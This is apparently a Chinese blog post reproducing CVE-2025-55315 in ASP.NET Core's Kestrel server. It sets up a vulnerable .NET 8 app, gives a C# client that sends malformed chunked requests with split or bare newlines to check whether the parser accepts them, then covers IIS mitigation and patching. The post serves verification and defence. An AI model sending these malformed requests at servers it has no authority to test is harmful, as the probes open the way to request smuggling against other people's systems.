asp.net coreCVE-2025-55315漏洞验证
复现代码库,但是我本地跑起来一直卡着
https://github.com/sirredbeard/CVE-2025-55315-repro/tree/main
复现过程
后面自己实现了复现过程
创建web项目
创建.net8.0
并且指定sdk版本
dotnet new globaljson --sdk-version 8.0.414
{
"sdk": {
"version": "8.0.414"
}
}
代码如下
using Microsoft.AspNetCore.Server.Kestrel.Core;
namespace WebApplication
{
public class Program
{
public static void Main(string[] args)
{
var builder = WebApplication.CreateBuilder(args);
// 配置 Kestrel 服务器
builder.WebHost.ConfigureKestrel(options =>
{
// 设置最小请求体数据速率:1 字节/秒,宽限期 10 秒
options.Limits.MinRequestBodyDataRate = new MinDataRate(
bytesPerSecond: 1,
gracePeriod: TimeSpan.FromSeconds(10)
);
});
var app = builder.Build();
app.Map("/", async context =>
{
// Begin an asynchronous read from the request BodyReader to initiate body processing
var reader = context.Request.BodyReader;
// Start a read without advancing the reader; TCP fragments are coordinated by the test code
var readTask = reader.ReadAsync();
var result = await readTask;
// Advance the reader to mark the buffer as consumed
reader.AdvanceTo(result.Buffer.End);
// Send a 200 OK response
context.Response.StatusCode = 200;
var processName = System.Diagnostics.Process.GetCurrentProcess().ProcessName;
await context.Response.WriteAsync("OK:" + processName);
});
app.Run();
}
}
}
模拟攻击
新建控制台项目验证漏洞
using System.Net.Security;
using System.Net.Sockets;
using System.Security.Authentication;
using System.Text;
namespace ConsoleApp
{
internal class Program
{
static async Task Main(string[] args)
{
await Test01("127.0.0.1", 5000);
//await Test01("10.10.90.139", 8887);
//await Test02("127.0.0.1", 5000);
//await Test02("10.10.90.139", 8887);
//await TestInvalidNewlineVulnerabilityHttps("域名",443,true);
//await TestInvalidNewlineVulnerabilityHttp("域名", 80);
Console.ReadKey();
}
/// <summary>
/// 拆分 CRLF 到两个 TCP 包(MultiReadWithInvalidNewlineAcrossReads)
/// </summary>
/// <returns></returns>
static async Task Test01(string ipAddress, int port)
{
// 1. 连接Kestrel服务器(localhost:5000)
using var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
await socket.ConnectAsync(ipAddress, port);
Console.WriteLine("已连接到服务器,开始发送畸形请求(拆分CRLF)...");
// 2. 构造请求:分两次发送,第一次含"\r",第二次含"\n"
var encoding = Encoding.ASCII;
// 第一次发送:分块头(1;\r)+ 部分请求体
string part1 = "POST / HTTP/1.1\r\n" +
"Host: localhost:5000\r\n" +
"Transfer-Encoding: chunked\r\n" + // 启用分块传输
"\r\n" +
"1;\r"; // 关键:分块大小后只发"\r",不发"\n"
byte[] part1Bytes = encoding.GetBytes(part1);
await socket.SendAsync(part1Bytes, SocketFlags.None);
// 模拟网络延迟(确保两次发送分属不同TCP包)
await Task.Delay(10);
// 第二次发送:补全"\n" + 分块内容 + 结束标记(0\r\n\r\n)
//string part2 = "\n" + // 补全换行符"\n"
// "A" + // 分块内容(大小为1,对应前面的"1;")
// "0\r\n\r\n"; // 分块结束标记
string part2 = "\r\n";
byte[] part2Bytes = encoding.GetBytes(part2);
await socket.SendAsync(part2Bytes, SocketFlags.None);
Console.WriteLine("畸形请求发送完成,等待响应...");
// 3. 接收服务器响应,判断是否存在漏洞
byte[] responseBuffer = new byte[1024];
int responseLength = await socket.ReceiveAsync(responseBuffer, SocketFlags.None);
string response = encoding.GetString(responseBuffer, 0, responseLength);
Console.WriteLine("\n服务器响应:\n" + response);
// 漏洞判断:返回"HTTP/1.1 200 OK"即存在漏洞;400 Bad Request为修复版本
if (response.Contains("HTTP/1.1 400 Bad Request"))
{
Console.WriteLine("=== 漏洞已修复/版本不受影响,服务器拒绝畸形请求 ===");
}
else
{
Console.WriteLine("=== 漏洞存在!服务器接受了拆分CRLF的畸形请求 ===");
}
}
/// <summary>
/// 用单独 LF 代替 CRLF(InvalidNewlineInFirstReadWithPartialChunkExtension)
/// </summary>
/// <returns></returns>
static async Task Test02(string ipAddress, int port)
{
// 1. 连接服务器
using var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
await socket.ConnectAsync(ipAddress, port);
Console.WriteLine("已连接到服务器,开始发送畸形请求(单独LF)...");
// 2. 构造请求:分块头用"\n"代替"\r\n"(违反HTTP规范)
var encoding = Encoding.ASCII;
string malformedRequest = "GET / HTTP/1.1\r\n" +
"Host: localhost:5000\r\n" +
"Transfer-Encoding: chunked\r\n" + // 启用分块传输
"\r\n" +
"1;\n" + // 关键:用"\n"代替标准"\r\n"
"B" + // 分块内容(大小为1)
"0\r\n\r\n"; // 分块结束标记
byte[] requestBytes = encoding.GetBytes(malformedRequest);
await socket.SendAsync(requestBytes, SocketFlags.None);
Console.WriteLine("畸形请求发送完成,等待响应...");
// 3. 接收并解析响应
byte[] responseBuffer = new byte[1024];
int responseLength = await socket.ReceiveAsync(responseBuffer, SocketFlags.None);
string response = encoding.GetString(responseBuffer, 0, responseLength);
Console.WriteLine("\n服务器响应:\n" + response);
// 漏洞判断逻辑同上
if (response.Contains("HTTP/1.1 200 OK"))
Console.WriteLine("=== 漏洞存在!服务器接受了单独LF的畸形请求 ===");
else if (response.Contains("HTTP/1.1 400 Bad Request"))
Console.WriteLine("=== 漏洞已修复/版本不受影响,服务器拒绝畸形请求 ===");
}
/// <summary>
/// 用单独 LF 代替 CRLF
/// </summary>
/// <param name="targetDomain">要访问的域名</param>
/// <param name="targetPort">默认端口</param>
/// <param name="useHttps">启用HTTPS</param>
/// <param name="readTimeoutMs">读取超时,默认5000毫秒就是5秒</param>
/// <returns></returns>
static async Task TestInvalidNewlineVulnerabilityHttps(string targetDomain, int targetPort = 80, bool useHttps = false, int readTimeoutMs = 5000)
{
Console.WriteLine($"开始测试 HTTPS://{targetDomain}:{targetPort}...");
try
{
// 1. 建立TCP连接
using var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
socket.ReceiveTimeout = readTimeoutMs; // 设置底层Socket超时
await socket.ConnectAsync(targetDomain, targetPort);
Console.WriteLine("TCP连接已建立,开始SSL握手...");
// 2. 包装SSL流
using var networkStream = new NetworkStream(socket, ownsSocket: true);
using var sslStream = new SslStream(networkStream, leaveInnerStreamOpen: false);
// 3. SSL握手(处理证书验证)
await sslStream.AuthenticateAsClientAsync(
targetHost: targetDomain,
clientCertificates: null,
enabledSslProtocols: System.Security.Authentication.SslProtocols.Tls12 | System.Security.Authentication.SslProtocols.Tls13,
checkCertificateRevocation: false
);
if (!sslStream.IsAuthenticated)
{
Console.WriteLine("SSL握手失败");
return;
}
Console.WriteLine("SSL握手成功,发送畸形请求...");
// 4. 构造并发送畸形请求
var encoding = Encoding.ASCII;
string malformedRequest = "GET / HTTP/1.1\r\n" +
$"Host: {targetDomain}\r\n" +
"Transfer-Encoding: chunked\r\n" +
"\r\n" +
"1;\n" + // LF代替CRLF
"A" +
"0\r\n\r\n";
byte[] requestBytes = encoding.GetBytes(malformedRequest);
await sslStream.WriteAsync(requestBytes, 0, requestBytes.Length);
await sslStream.FlushAsync();
// 5. 读取响应(核心:循环读取+超时判断,替代DataAvailable)
byte[] buffer = new byte[4096];
StringBuilder responseBuilder = new StringBuilder();
DateTime lastDataTime = DateTime.Now; // 记录最后一次收到数据的时间
while (true)
{
// 检查是否超时(超过ReadTimeoutMs未收到新数据)
if (DateTime.Now - lastDataTime > TimeSpan.FromMilliseconds(readTimeoutMs))
{
Console.WriteLine("响应读取超时,停止接收");
break;
}
// 尝试读取数据(非阻塞,通过超时控制)
int bytesRead;
try
{
// 用ReadAsync的超时机制(需配合CancellationToken)
using var cts = new System.Threading.CancellationTokenSource(readTimeoutMs);
bytesRead = await sslStream.ReadAsync(buffer, 0, buffer.Length, cts.Token);
}
catch (OperationCanceledException)
{
// 读取超时,退出循环
bytesRead = 0;
}
if (bytesRead == 0)
{
// 没有新数据,且已超时,退出
break;
}
// 累加数据并更新最后接收时间
responseBuilder.Append(encoding.GetString(buffer, 0, bytesRead));
lastDataTime = DateTime.Now;
// 额外判断:若已读取到HTTP响应结束标记(可选,增强可靠性)
if (responseBuilder.ToString().Contains("\r\n0\r\n\r\n") // 分块传输结束标记
|| responseBuilder.ToString().Contains("\r\n\r\n")) // 普通响应头部结束
{
Console.WriteLine("已读取到响应结束标记,停止接收");
break;
}
}
string fullResponse = responseBuilder.ToString();
Console.WriteLine($"\n服务器响应(前500字符):\n{fullResponse.Substring(0, Math.Min(500, fullResponse.Length))}");
// 6. 判断漏洞状态
if (fullResponse.Contains("200 OK"))
{
Console.WriteLine("=== 漏洞可能存在!服务器接受了畸形请求 ===");
}
else if (fullResponse.Contains("400 Bad Request"))
{
Console.WriteLine("=== 漏洞不存在!服务器拒绝了畸形请求 ===");
}
else
{
Console.WriteLine("=== 无法判断,请查看完整响应分析 ===");
}
}
catch (SocketException ex)
{
Console.WriteLine($"连接错误:{ex.Message}");
}
catch (AuthenticationException ex)
{
Console.WriteLine($"证书验证失败:{ex.Message}(若为自签名证书,需添加自定义验证)");
}
catch (Exception ex)
{
Console.WriteLine($"测试失败:{ex.Message}");
}
}
// (可选)自定义证书验证逻辑(仅测试环境使用)
// 若服务器使用自签名证书,可取消注释并在AuthenticateAsClient时传入此回调
/*
private static bool ValidateServerCertificate(
object sender,
X509Certificate certificate,
X509Chain chain,
SslPolicyErrors sslPolicyErrors)
{
// 测试环境临时允许所有证书(生产环境绝对禁止!)
if (sslPolicyErrors != SslPolicyErrors.None)
{
Console.WriteLine($"证书验证警告:{sslPolicyErrors}(测试环境已忽略)");
}
return true;
}
*/
/// <summary>
/// 用单独 LF 代替 CRLF,http请求测试
/// </summary>
/// <param name="TargetDomain"></param>
/// <param name="TargetPort"></param>
/// <param name="UseHttps"></param>
/// <returns></returns>
/// <exception cref="NotImplementedException"></exception>
static async Task TestInvalidNewlineVulnerabilityHttp(string TargetDomain, int TargetPort, bool UseHttps = false)
{
Console.WriteLine($"开始测试 {TargetDomain}:{TargetPort} 是否存在LF代替CRLF漏洞...");
try
{
// 1. 创建TCP连接
using var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
await socket.ConnectAsync(TargetDomain, TargetPort);
Console.WriteLine("已成功连接到服务器");
// 若使用HTTPS,需建立SSL/TLS会话(关键!否则请求会被加密导致服务器无法解析)
if (UseHttps)
{
throw new NotImplementedException("HTTPS需额外通过SslStream包装Socket,见下方说明");
// 参考代码框架:
// using var sslStream = new SslStream(new NetworkStream(socket), false);
// await sslStream.AuthenticateAsClientAsync(TargetDomain);
// 后续发送/接收需通过sslStream而非直接用socket
}
// 2. 构造畸形请求(分块头用LF代替CRLF)
var encoding = Encoding.ASCII;
string malformedRequest = "GET / HTTP/1.1\r\n" +
$"Host: {TargetDomain}\r\n" +
"Transfer-Encoding: chunked\r\n" + // 启用分块传输
"\r\n" +
"1;\n" + // 关键:分块头用LF(\n)代替标准CRLF(\r\n)
"A" + // 分块内容(大小为1字节)
"0\r\n\r\n"; // 分块结束标记
byte[] requestBytes = encoding.GetBytes(malformedRequest);
// 3. 发送畸形请求
if (UseHttps)
{
// 若用HTTPS,需通过sslStream发送:
// await sslStream.WriteAsync(requestBytes, 0, requestBytes.Length);
}
else
{
await socket.SendAsync(requestBytes, SocketFlags.None);
}
Console.WriteLine("畸形请求已发送,等待响应...");
// 4. 接收服务器响应(注意:可能需要循环接收完整响应)
byte[] responseBuffer = new byte[4096];
int responseLength;
if (UseHttps)
{
// 若用HTTPS,需通过sslStream接收:
// responseLength = await sslStream.ReadAsync(responseBuffer, 0, responseBuffer.Length);
}
else
{
//responseLength = await socket.ReceiveAsync(responseBuffer, SocketFlags.None);
}
responseLength = await socket.ReceiveAsync(responseBuffer, SocketFlags.None);
string response = encoding.GetString(responseBuffer, 0, responseLength);
Console.WriteLine($"\n服务器响应(部分):\n{response}");
// 5. 判断漏洞是否存在
if (response.Contains("HTTP/1.1 200 OK") || response.Contains("HTTP/1.0 200"))
{
Console.WriteLine("=== 漏洞可能存在!服务器接受了畸形换行符 ===");
}
else if (response.Contains("400 Bad Request") || response.Contains("400"))
{
Console.WriteLine("=== 漏洞不存在!服务器正确拒绝了畸形请求 ===");
}
else
{
Console.WriteLine("=== 无法判断!响应不明确,请检查请求格式或手动分析响应 ===");
}
}
catch (SocketException ex)
{
Console.WriteLine($"连接错误:{ex.Message}(可能是端口错误或服务器不可达)");
}
catch (Exception ex)
{
Console.WriteLine($"测试失败:{ex.Message}");
}
}
}
}

按照帖子的说法使用iis可以规避该漏洞,不过不是绝对安全,建议还是升级

翻译过来:我的理解是否正确:在 IIS 本身不存在漏洞的前提下,运行在 IIS 中的(self-contained)ASP.NET Core 应用程序就不会存在该漏洞?或者换个说法:这个漏洞是否严格局限于 Kestrel Web 服务器,而非ASP.NET Core 框架普遍存在的漏洞?
是的,我认为这么理解是合理的。
测试在iis或者iisexpress中,无论进程内还是进程外测试都阻止了该漏洞
.NET Core 3.X+默认为InProcess
.NET Core 2.X及更早版本默认为OutOfProcess
<PropertyGroup>
<TargetFramework>net8.0</TargetFramework>
<Nullable>enable</Nullable>
<ImplicitUsings>enable</ImplicitUsings>
<!--InProcess是进程内使用iis或者iisexpress,OutOfProcess是进程外,内部使用Kestrel-->
<!--<AspNetCoreHostingModel>OutOfProcess</AspNetCoreHostingModel>-->
</PropertyGroup>
修复漏洞
安装对应的包即可
https://github.com/dotnet/aspnetcore/issues/64033
https://dotnet.microsoft.com/zh-cn/download/dotnet/8.0


修改global.json
改为8.0.121版本可以验证漏洞已经修复

参考
https://www.cnblogs.com/netry/p/19147223/CVE-2025-55315
https://github.com/dotnet/aspnetcore/issues/64033
https://github.com/advisories/GHSA-5rrx-jjjq-q2r5
17

被折叠的 条评论
为什么被折叠?



